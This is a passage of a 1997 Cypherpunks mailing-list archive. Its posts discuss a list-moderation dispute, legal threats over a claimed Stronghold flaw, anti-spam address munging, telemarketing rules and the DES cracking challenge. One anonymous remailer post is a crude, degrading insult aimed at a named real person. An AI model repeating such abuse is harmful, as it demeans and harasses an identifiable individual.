if it was sent from your own account with the subject line "security
breached by NaughtyRobot".  In the message, you will most likely be told
that all of your personal information has been accessed by NaughtyRobot
and that you should contact the police, disconnect your phone line, cut
up your credit cards and report them as stolen, etc, etc.  DON'T PANIC!
It's just a bad joke someone is playing on you.  For more information on
this issue, read the article at

http://www.rah96.com/rah96/naughtyr.shtml

--
Zbigniew Indelak (ZeeBee)       | mailto:zeebee@superiway.net
Network Operations Manager      | http://www.superiway.net
Super i-Way Internet Services   | Tel: (403)413-9465


--
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
   'finger -l ckuethe@gpu.srv.ualberta.ca' for pgp keys
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sun, 16 Feb 1997 15:37:17 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: More on digital postage
Message-ID: <199702162336.SAA28881@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 at 23:30:17 Timothy C. May wrote:

> At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote:
> 
> >Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
> >out rules limiting the time of day, etc. for phone spam (voice or
> >fax).  Does anyone out there have the specifics of the CRTC regs?
> 
> "Spam" has rapidly become one of those overused, overloaded, meaningless
> words. Everything bad on the Net these days is labelled "spam."
> 
> For the phone example in Canada, just what is "spam"?
>
> -- Is it the semi-traditional definition of "spam," i.e., a phone call made
> to thousands of sites? (At the same time? Sequentially? How?)
> 
> -- Is it a robo-dialer, with no human at the other end?
> 
> -- Or is it merely an "unwanted phone call"?

I used "spam" to mean scripted commercial solicitations, by a human
or robot, based on a list of names and numbers.  I'm not sure whether
this is the same definition as in the legislation. 

> As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
> (Though obviously the courts and prisons are not about to be filled up with
> people who committed the heinous crime of making an unrequested phone call.)
> 
> The danger of all "junk mail" and "junk phone call" laws is that they give
> power to the government to decide on what is junk and what is not.

My understanding is that the legislation restricts commercial 
solicitations by phone to:

- certain times of day (not after 9 PM? unsure)
- one initial call, and no follow-ups if the person explicitly asks
the caller to never phone this number again (again, unsure of legal
details)

I don't consider this scenario overly restrictive, since it gives
_them_ a chance to sell their product, and _me_ a chance to have them
delete my name from their database.  Unfortunately, without some
formal means of redress, very few telemarketers seem to remember that
they are unlikely to find new customers if they call at 7 AM Saturday
for the third time this month.

What means of redress would you suggest, in the absence of
legislation / fines, to someone who has been called repeatedly by a
telemarketer?  This person is not a current customer and so cannot
withdraw his/her business.

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Feb 1997 18:55:36 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: The EFF
In-Reply-To: <Pine.LNX.3.95.970216113732.2356J-100000@dhp.com>
Message-ID: <3307C883.2E0F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Sat, 15 Feb 1997, Dale Thorn wrote:
> > Toto wrote:
> > > Timothy C. May wrote:
> > > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:

> > > I have a brother-in-law who gives seminars to the Nouveau Riche in
> > > the Bay Area, teaching them how to give their money away to 'good'
> > > causes. I believe that one of the prime considerations in separating
> > > the 'good' causes from the 'bad' causes has something to do with the
> > > the proper wine being served with the cheese and cracker offerings
> > > during their cocktail parties.

> > Wine and cheese are the key.  You hit that one on the head.  I tried
> > those Mensa parties in Beverly Hills a few times, but the girls want
> > you to kiss their hands like some kinda princesses or something,
> > whereas I think a simple handshake would suffice.  So I just quit
> > going.  Maybe this has something to do with why there are no c-punks
> > meetings in the L.A. area.

> Dale, so you are in mensa?  Did you have to take a test?

I joined in 1986 at the urging of my sort-of lawyer (not a real
lawyer, but much better actually) from Beverly Hills.  He liked the
parties since he was trolling for babes; recent (1986) divorce and all.

Anyway, Mensa was accepting U.S. Military GT scores prior to 1980,
and I scored 153 in 1966, which was the highest at the several posts
I did duty in (Ft. Benning GA, Ft. Ord CA, Ft. Lee VA, 4th A.D. Europe).

I gave up on it after a few meetings, since I didn't care for the
parties, and there didn't seem to be any really active/interesting
people there.  There was a "rational sig" I wanted to attend, but
never got around to.  Mensa did put on some good speakers every now
and then, but you could do as well by checking in with the Masons
or the other local civic groups.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Sun, 16 Feb 1997 19:04:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Threats of Legal Action and C2Net/Stronghold Issue
In-Reply-To: <tcmay-ya023180001202971203130001@news.znet.net>
Message-ID: <199702170255.SAA00022@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks,  alt.privacy, comp.org.eff.talk)


At 6:07 PM -0800 2/16/97, Sandy Sandfort wrote:

>Curiously, in a subsequent telephone conversation, Tim May 
>proposed almost that exact suggestion as an alternative form of
>moderation that he said would have been acceptable to him.  Go
>figure.

The only phone conversation I had was with Doug Barnes, at the request of
Doug that I urgently phone either him or Sameer. I called Doug as soon as I
got the message. (Doug also said he was the only one in the room at the
time, and that the call was *not* being recorded, so I have to surmise that
Sandy got his version of things via a recap by Doug.)

 
>> 21. Tim received a warning from C2Net's lawyers that if he did not
>> desist from mentioning that Dimitri had posted an article criticising
>> a C2Net product that he would be sued!
>
>Absolutely false.
> 

What Doug told me was that Dimitri Vulis had already been served with a
legal notice about his warnings about a security flaw in Stronghold, and
that any repetition of Dimitri's claims by me or anyone else would result
in similar legal action.

Doug said that any repetition of the claims, even as part of a quote, would
be seen as actionable by C2Net. "We'll vigorously defend our rights." (as
best I can recall) He said he thought my messages, to the extent they
merely _alluded_ to the claims were probably OK and that they would
certainly go through to the list, as Sandy has already resigned from his
role as moderator.

(For the record, these messages DID NOT GO THROUGH, and have not gone
through as of tonight, 8-9 days later. However, I have forwarded them to
several people who requested them.)

(I also did not have a recorder running, so I can't claim this is a
verbatim summary of what was said. As to what I said about how the
moderation thing might have been done differently, Doug and I chatted for a
while about various alternatives. I raised the point I've made before, that
having a "members only" policy, with some special provision for some amount
of remailed messages, would probably best suit the notion of keeping the
"community" running. What I told Doug was that my main objection was having
Sandy sit in judgement to essays folks might have spent a long time
composing, and I cited physical parties, where a host invites those he
wants in attendance, but does not micromanage or screen conversations being
held at the party. My sense was that Doug agreed, and agreed that the whole
thing had been handled in a bad way...but Doug should comment to tell his
view of things.)

The next day, at the physical Cyperpunks meeting at Stanford, I briefly
talked to Greg Broiles, working as a legal aide at C2Net. I told Greg he
could "take his best shot," in terms of filing suit against me about my
messages, as I'm prepared to fight C2Net in court on this matter, and have
the financial resources to hire some pretty good lawyers. (I don't recall
if Greg replied, or what his reply was.)

In a message to Cypherpunks, I outlined my understanding of the Vulis
report on security flaws in Stronghold, and put the claims  in the context
of messages not appearing on either of the two main lists,  but none of my
messages were sent to either the Main list or the Flames list. 

(I also had communication with several members of the list, some known to
me and some only pseudonyms. I have taken the precaution of erasing these
messages and copying files to the disk on which they resided to head off
any attempts by C2Net seize my computer and disks as part of some
"discovery" process.)

I find it unfortunate that C2Net is behaving in such a manner, and their
actions are generating far more publicity about the claimed security flaws
in Stronghold than the original Vulis message ever would have generated. 

Sunlight is the best disinfectant, as a Supreme Court justice averred. And
suppression is a breeding ground for all sorts of bacteria, fungi, and ugly
growth, as a less articulate person said.

Reporters interested in this story have already contacted me. They're
interested in the situation surrounding the claims of a flaw. I told one
reporter I had no expertise in Stronghold, SSL, etc., and could not say,
but that I suspected strongly that the claim was made just as a "tweak" of
C2Net. 

"Truth is an absolute defence against libel claims."

(P.S. To repeat, I doubt there is a flaw in Stronghold, either introduced
by RSA (Republic of South Africa, of course) or by the NSA, or by C2Net, or
by anyone else. I said as much in my messages which never made it to the
list.)

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Sat, 15 Feb 1997 22:29:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto code published in magazines
Message-ID: <85607455427941@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


I'm trying to find instances of crypto code published in computer magazines in 
the last few years.  I know of Blowfish in DDJ, are there cases of more 
mainstream computer mags like Byte publishing crypto code (I know Byte did DES 
in 1977, I'm hoping for something a bit more recent)?.  Please mail or cc 
replies directly to me, nntp.hks.net seems to have died :-(.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Sun, 16 Feb 1997 17:16:30 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: When and where?
Message-ID: <3.0.32.19970216201759.006a5318@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Friends:

Please post the date when this list will shift to Usenet if that is indeed to
happen. I have not been able to sort out the facts (?) from the speculation,
argument, and gas.

I have requested my ISP to add alt.cypherpunks to the mail server asap.

I don't want to miss a second of the resurrected (or is that born again?)
c'punks.

Thanks.

Alec
 
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Version: 4.5

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7tDQB9M+gtyJLM/xN0GjmkbNQk6blVFyAHuCY4GW7MzoReHoca08FfZ7+tRyFniK
AoBwbnqPv8ZQN9MbfaEzt1gjKGMDXHaUM8CCOk0Pt3aPxnd+SsuNVUfZCF7Hg7QS
mE47juLt06M=
=aqD9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 16 Feb 1997 17:51:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702170131.UAA10584@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' May, a product of anal birth, 
appeared with a coathanger through his head.

            _______c___c
           /       /_  _\
          |       ((6)(6))
          (  )_  __\\  //__
          o___n) (nn)\o/(nn)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 16 Feb 1997 17:58:04 -0800 (PST)
To: camcc@abraxis.com
Subject: Re: When and where?
In-Reply-To: <3.0.32.19970216201759.006a5318@smtp1.abraxis.com>
Message-ID: <0n1vgT200YUe051Es0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

camcc@abraxis.com (Alec) writes:
> Please post the date when this list will shift to Usenet if that is indeed to
> happen. I have not been able to sort out the facts (?) from the speculation,
> argument, and gas.
> 
> I have requested my ISP to add alt.cypherpunks to the mail server asap.

I hope you misspelled "news server." alt.cypherpunks (and subgroups)
is a newsgroup.

> I don't want to miss a second of the resurrected (or is that born again?)
> c'punks.

You should join one of the distributed mailing lists (choose the list
admin you like/trust the most). There is supposed to be a gateway
between the mailing list and the newsgroup, but it is not up yet.

Here's the overview:
cypherpunks@toad.com is going away. In its place is a distributed
forum. This forum is currently made up of a network of mailing lists,
which send all their messages to each other. In the future, the
newsgroup alt.cypherpunks will be added to this network (posts to the
newsgroup go to the mailing lists, mail to the lists goes to the
newsgroup). The mailing lists will be faster than the newsgroup, the
newsgroup will probably let you use better filtering tools. Your
choice.

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

(Cool, "newsgroup" is the first word in four consecutive lines. I did
not do this on purpose, even.)




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T93ixsHuO7jhW4075ipfH/5MWMkI1zKz
=G83r
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 16 Feb 1997 20:54:30 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: The Science Generations, II
Message-ID: <v02140b01af2d9235a9c6@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Just a short update to our discussions regarding the 'dumbing down' of America.

Although Gilbert appears to have gone out of the business I did find a few
chemistry sets at my local hobby store.  They were certainly a far cry from
the bunsen burner and lab glassware I grew up with, they all appear to use
micro amounts of reagent in pipette tubes.  I doubt they will generate the
excitement we experienced.

BTW, regarding the difficulty in obtaining chemical reagents (unless you're
in a qualified educational program or professionally employed at a large
industrial company), I came across a relatively new company targeting the
amateur scientist, Chemical Resale of Santa Barbara
<http://www.sb.net/wirehead>.  It carries only a limited selection and
prices seem very high (undoubtedly due to his small volume).

Regarding amateur experiments with 'real' rockets, the Fed have passed a
plethora of laws effectively resticting what non-governmental bodies may
investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
173.88. I guess I can't play with matches anymore.  Thank you Congress.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 16 Feb 1997 20:31:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: test 527
Message-ID: <199702170535.VAA13163@songbird.com>
MIME-Version: 1.0
Content-Type: text


test 527

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Feb 1997 19:45:56 -0800 (PST)
To: tcmay@got.net (Tim May)
Subject: Re: Threats of Legal Action and C2Net/Stronghold Issue
In-Reply-To: <199702170255.SAA00022@you.got.net>
Message-ID: <199702170341.VAA02034@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


The story about Stronghold security flaws reminds me of The Right Reverend
Colin James III (puke). CJ3 also started his kook career when he was 
accused of being stupid and not knowing what he was talking about in
his announcement about performance of BSAM, his "invention". He immediately
reacted to the accusers and promised to sue them, their employers, their
providers, the Inspector General, and more.

He really went after his enemies, trying to get them fired, etc. As a
result of his long struggles, most enlightened minds on USENET realized
that he was an excellent candidate for Kook of the Month award. A nomination
followed.

When he was elected Kook of the Month last January with a
record-breaking vote, he threatened to sue anyone who mentions his new
Kook status. That only added fuel to the fire, as more and more posters
"dared" to expose him as a lying forger and kook.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Feb 1997 05:07:51 -0800 (PST)
To: tcmay@got.net (Tim May)
Subject: Re: Threats of Legal Action and C2Net/Stronghold Issue
In-Reply-To: <199702170255.SAA00022@you.got.net>
Message-ID: <199702171300.HAA05979@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


The story about Stronghold security flaws reminds me of The Right Reverend
Colin James III (puke). CJ3 also started his kook career when he was 
accused of being stupid and not knowing what he was talking about in
his announcement about performance of BSAM, his "invention". He immediately
reacted to the accusers and promised to sue them, their employers, their
providers, the Inspector General, and more.

He really went after his enemies, trying to get them fired, etc. As a
result of his long struggles, most enlightened minds on USENET realized
that he was an excellent candidate for Kook of the Month award. A nomination
followed.

When he was elected Kook of the Month last January with a
record-breaking vote, he threatened to sue anyone who mentions his new
Kook status. That only added fuel to the fire, as more and more posters
"dared" to expose him as a lying forger and kook.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 16 Feb 1997 21:38:24 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: The Science Generations, II
In-Reply-To: <v02140b01af2d9235a9c6@[10.0.2.15]>
Message-ID: <v03007806af2d9e78bf06@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:58 PM -0800 2/16/97, Steve Schear wrote:

>BTW, regarding the difficulty in obtaining chemical reagents (unless you're
>in a qualified educational program or professionally employed at a large
>industrial company), I came across a relatively new company targeting the
>amateur scientist, Chemical Resale of Santa Barbara
><http://www.sb.net/wirehead>.  It carries only a limited selection and
>prices seem very high (undoubtedly due to his small volume).

And as part of the "War on (Some) Drugs," many chemical purchases now
require licenses of various sorts. As a growing number of chemicals are
classified as "precursors" to a growing medicine cabinet full of
mind-altering or reality-enhancing recreational substances, this "chemical
escrow"  is a step in the direction of outlawing all cash commerce.

Some legal scholars are claiming that there is no provision in the
Constitution guaranteeing anonymity of purchases, and, indeed, a growing
number of purchases can no longer be anonymous--guns, explosives, chemicals
of various sorts, etc. How long before _all_ transactions must be recorded,
True Names revealed, etc.?

(I believe this interpretation is incorrect. I believe "due process" means
that a court order, or specific enabling legislation (as for guns) must be
produced. If Alice sells something to Bob, having the government as a third
party is, I think, a violation of the Fourth. However, the "power to
regulate commerce" could be the root password, as national security often
is.)

I'm thinking about these issues because I'm working on a position paper for
Michael Froomkin's session at CFP. (Froomkin is one of the legal scholars
aruing that transactions may have no constitutional expectation of privacy.)

>Regarding amateur experiments with 'real' rockets, the Fed have passed a
>plethora of laws effectively resticting what non-governmental bodies may
>investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
>173.88. I guess I can't play with matches anymore.  Thank you Congress.

Nor can you play with knives, by the way. I read rec.knives, and the
explosion of laws about how and where knives may be carried, used, owned,
bought, etc., and what blade shapes are allowed, what lengths are felonies
to possess, etc., is truly mind-numbing. I concluded that I'm committing
misdemeanors in nearly all counties I enter in California, and felonies in
some. All for possessing and/or carrying what I bought legally just a few
years ago.

This is the morass of laws into which we have sunk.

I suspect similar laws--regulating commerce, protecting children, disarming
bad guys, etc.--will be used soon enough on crypto.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Biddell <jba@fl.net.au>
Date: Sun, 16 Feb 1997 03:09:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702160641.WAA26922@toad.com>
Message-ID: <3.0.1.32.19970216220646.006cbc94@fl.net.au>
MIME-Version: 1.0
Content-Type: text/plain


How the hell do I get OFF this list ??





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Tue, 18 Feb 1997 14:48:06 -0800 (PST)
To: hjk <hjk@ddorf.rhein-ruhr.de>
Subject: Re: MagicMoney
In-Reply-To: <199702161525.HAA18339@toad.com>
Message-ID: <Pine.3.89.9702162221.C240-0100000@marui>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, hjk wrote:

> I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl).
> It is just the code (compiling without error), but there is no README or
> documentation at all.Can someone give me a hint,what to do with this
> package? Is there a documentation somesite?

All the documentation that came with my copy is at 

	http://www.unicorn.com/pgp/mm-readme.html

That was enough for me to set it up and play with it a couple of years 
ago.

	Mark "Not Pr0duct Cypher" Grant

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 16 Feb 1997 20:02:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: SSZ Test [No Reply]
Message-ID: <199702170410.WAA05674@einstein>
MIME-Version: 1.0
Content-Type: text



Test Sunday - No Reply





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sun, 16 Feb 1997 20:06:43 -0800 (PST)
To: camcc@abraxis.com (Alec)
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702170406.XAA23365@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 16 Feb 1997, camcc@abraxis.com (Alec) wrote:

> :> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> :> in the from: header. Sure, somebody out there is going to be unhappy with
> :> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> :> are bouncing mail to the admin of the site instead of to me.
> :
> For the less computer articulate (me), please rephrase what you just
> said more in the form of basic instructions.

For starters, root is the all-powerful system administrator account on
UNIX machines, and 127.0.0.1 is the "loopback" or "localhost" IP address,
generally used for testing.  A connection to loopback amounts to a
software connection back to the originating host, and e-mail sent to
loopback won't even go out the Ethernet card / modem / whatever.

So, if I put root@127.0.0.1 in the "From:" field of my news reader's
configuration, all of my posts will give this as my e-mail address. 
Depending on the news reader, I may have to set options like "override
default domain name", which would override my service provider's name.

Since many commercial mailer programs ("SpamBots") scan Usenet news posts
for potential target e-mail addresses, these programs will pick up my
phony e-mail address and send their junk to their own system administrator
instead of me :-)

The smarter programs will also scan the bottom of posts for e-mail
addresses in people's signatures (or .sig files).  The "spam-busted"
address described above could be anything that is not a verbatim copy of
my e-mail address, for example:

c.y.n.t.h.b@i.o.s.p.h.e.r.e.dot.n.e.t
cynthb[at]iosphere.net
cynthb@[NOSPAM].iosphere.net

Any reasonably computer-literate human will be able to figure out what my
real address is, but a cut-and-paste by a software robot won't work.

Hope this helps,

Cynthia

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Charset: cp850

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===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 16 Feb 1997 15:52:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderation experiment and moderator liability
Message-ID: <199702162349.XAA00536@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



There appears to be a bit of a hush up surrounding the circumstances
of the pause in the moderation experiment and subsequent change of
moderation policy.

To clear the air, I think it would be kind of nice if the full story
were told, so I'll gather here a history as I understand it.
Information from my archives (those I have), and from asking around in
email.

I realise that some of the actions that I am claiming of participants
in this sequence of events seem hard to believe given their high
reputation capital.  I was myself initially dubious on the strength of
the reputation capital of those being critisized.

However the below is the sequence of events as close as I can
determine.

I welcome being proven wrong on any points.


Events:

1. Dimitri Vulis posted a lot of off topic posts over a period of time

2. Dimitri reposted a couple of 50k Serdar Argic revisionist articles 

3. Dimitri challenged John Gilmore to shut him up

4. John unsubscribed Dimitri, and modified majordomo@toad.com to
siltently ignore Dimitri's attempts to resubscribe.  Dimitri could
still post, and presumably read cypherpunks with a different email
address or via an archive.  It was a token unsubscription only.

5. When Dimitri figured out what John had done, he made many posts
denigrating John as a censor

6. Much discussion ensued critisizing John for blocking Dimitri

7. Over Christmas some joker subscribed cypherpunks@toad.com to a load
of sports mailing lists, Hugh Daniels and John cleaned up the mess

8. Followed a long thread on hardening lists against spam attacks

9. John made a post to the list announcing that the list would be
moderated for one month from Jan 11 as an experiment, and included
Sandy Sandfort's proposed moderatation policy and offer to act as
moderator.  It appeared that the moderation experiment was Sandy's
suggestion, and that John had agreed to go along with it.

10. Some discussion both pro and con of moderation, and the technical
, free speech, and legal aspects followed

11. Moderation started Jan 19, the main list became the moderated list

12. Lots of people complained about the moderation, some defended it
Tim May quietly unsubscribed

13. Some people complained about inconsistency in moderation -- some
articles which went to flames were not flamish, but made by posters
with low reputation capital, or were following up to posts which were
flamish.

14. After a while some people commented on Tim's absence, and sent him
mail asking what happened.  Tim posted an article explaining that he
had left because of the imposed moderation without discussion.

15. John followed up with a post defending the moderation experiment,
and arguing for it's popularity (he claimed as evidence the number of
posters who had not taken the trouble to move to the unedited list).

16. Dimitri posted an article where he claimed that there was a
security flaw in Stronghold.  Stronghold is C2Nets commercial version
of the freeware Apache SSL web server.  Sandy is employed by C2Net.

17. Sandy dropped the posting entirely -- it went to neither
cypherpunks (edited), nor cypherpunks-flames.  He considered that
forwarding the posting would have made him legally liable.  Sandy is a
lawyer by profession.  He did not explain this situation on the list.

18. Tim May had by now subscribed to cypherpunks-flames, and posted
several follow-ups to Dimitri's posting, discussing the issue of
Dimitri's post being dropped, and stated that Dimitri's posting was
not flamish, and should not have been dropped in his opinion.  Tim's
postings were also silently dropped, going to neither of cypherpunks
(edited), and cypherpunks-flames.

19. Sandy made an announcement that he was ending his participation in
the moderation experiment.  Still no explanation of why posts were
dropped, or even admission that they were.

20. The two moderated cypherpunks lists (cypherpunks and
cypherpunks-flames) went dead for some time.

21. Tim received a warning from C2Net's lawyers that if he did not
desist from mentioning that Dimitri had posted an article criticising
a C2Net product that he would be sued!

22. John posted a statement where he explained Sandy's sudden
announcement of ending his particpation.  John explained that Sandy
had "hit a pothole in the moderation experiment when Mr. Nemesis
submitted a posting containing nothing but libelous statements about
Sandy's employer".  Sandy did not drop Johns posting even though it
covered the same topics that had resulted in Tim's posts being
dropped, and resulted in Tim receiving legal threats from C2Net.  In
the same post John said that he had come to the conclusion that he was
no longer willing to host the cypherpunks list.  In this post John
announced that Sandy had been persuaded to continue to moderate for
the remainder of the moderation period, and gave the new policy.  The
changes were that anything other than crypto discussion and discussion
of forming a new cypherpunks list would go to flames, and anything
that Sandy thought was libelous would be dropped silently.

23. Sandy posted a statement affirming that he would continue to
moderate, and that if any cypherpunks wished to discuss his prior
moderation policy and performance as a moderator that they do it on
new lists which they create themselves.


(If Sandy's current moderation criteria mean that he feels obliged to
forward this post to cypherpunks-flames as off-topic, or even to
silently drop it from both moderated lists, so be it.  I will simply
repost it later, when the moderation experiment is over on one of the
new lists.  In the event of myself receiving legal threats, I shall
simply post it via a remailer, or rely on someone else to do so.  C2
does not appear to be running any remailers at the moment, otherwise I
would use a remailer hosted at c2.net as the exit node in the remailer
chain.)


The positive outcome of all this has been to make the cypherpunks list
more resilient to legal attack.  The new distributed list seems to be
progressing well, and will be less liable to attack.  Filtering
services continue, as they should.  And alt.cypherpunks has been
created as a forum ultimately resistant to legal attack.

Also I should say that I would hope that no one holds any long term
animosity towards any of the players in this episode, many of the
people have been very prolific in their work to further online privacy
and freedom, and I hope that we can all put this chapter behind us.


Now more fun things...

Anyone checked out the DES breaking project?

Over on 

	http://fh28.fa.umist.ac.uk/des/ 

are details of mailing lists where people are organising breaking
RSADSIs DES challenge.  For the RC5/32/12/6 (48 bit RC5) break which
took 13 days, it seems there were a peak of 5000 machines involved.
At this rate it will take 8 months to break DES.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dave Emery" <die@pig.die.com>
Date: Sun, 16 Feb 1997 20:49:59 -0800 (PST)
To: peanderson@WN.NET
Subject: Russian Sigint
In-Reply-To: <1.5.4.32.19970216033354.006a87a8@mail1.wn.net>
Message-ID: <9702170449.AA22630@pig.die.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> I found this on The New American web page. ?
> 
> 
> GRU Snooping Continues. The interception, taping, and publication of a
> conference call between Newt Gingrich and other congressional leaders
> demonstrates the susceptibility of microwave-transmitted electronic
> communications to eavesdropping. A growing number of intracity phone calls,
> e-mail, and faxes, as well as nearly all long-distance calls, are carried via
> microwave. But it's not just itinerant Democratic Party activists with police
> scanners who can listen in on microwave communications.
> 
	This is complete horse pucky.   Microwave is less and less and
less used for long distance communications in the US.  Very little
traffic now flows over microwave links - fiber has so much higher
capacity and better data error characteristics that it has nearly
completely taken over long distance telephone and data communications. 
A typical microwave link can carry 45 or maybe 130 megabits per second
maximum per rf channel and maybe has 6 rf channels in use at a time
maximum whilst current fibers carry 1.5 Gigibits per fiber and can be
upgraded to 3.0 Gigabits easily and way more than 10 Gbs with current
WDM technology. Typical installed fiber routes have around 30 or more
fibers just because it is as easy to install that many as one.  

	The remaining active microwave links are primarily used as
backup for fiber routes and may not be carrying live traffic at all. 
Virtually every route that used to be microwave has now had one or more
fiber routes installed to replace it and if it hasn't they are planned
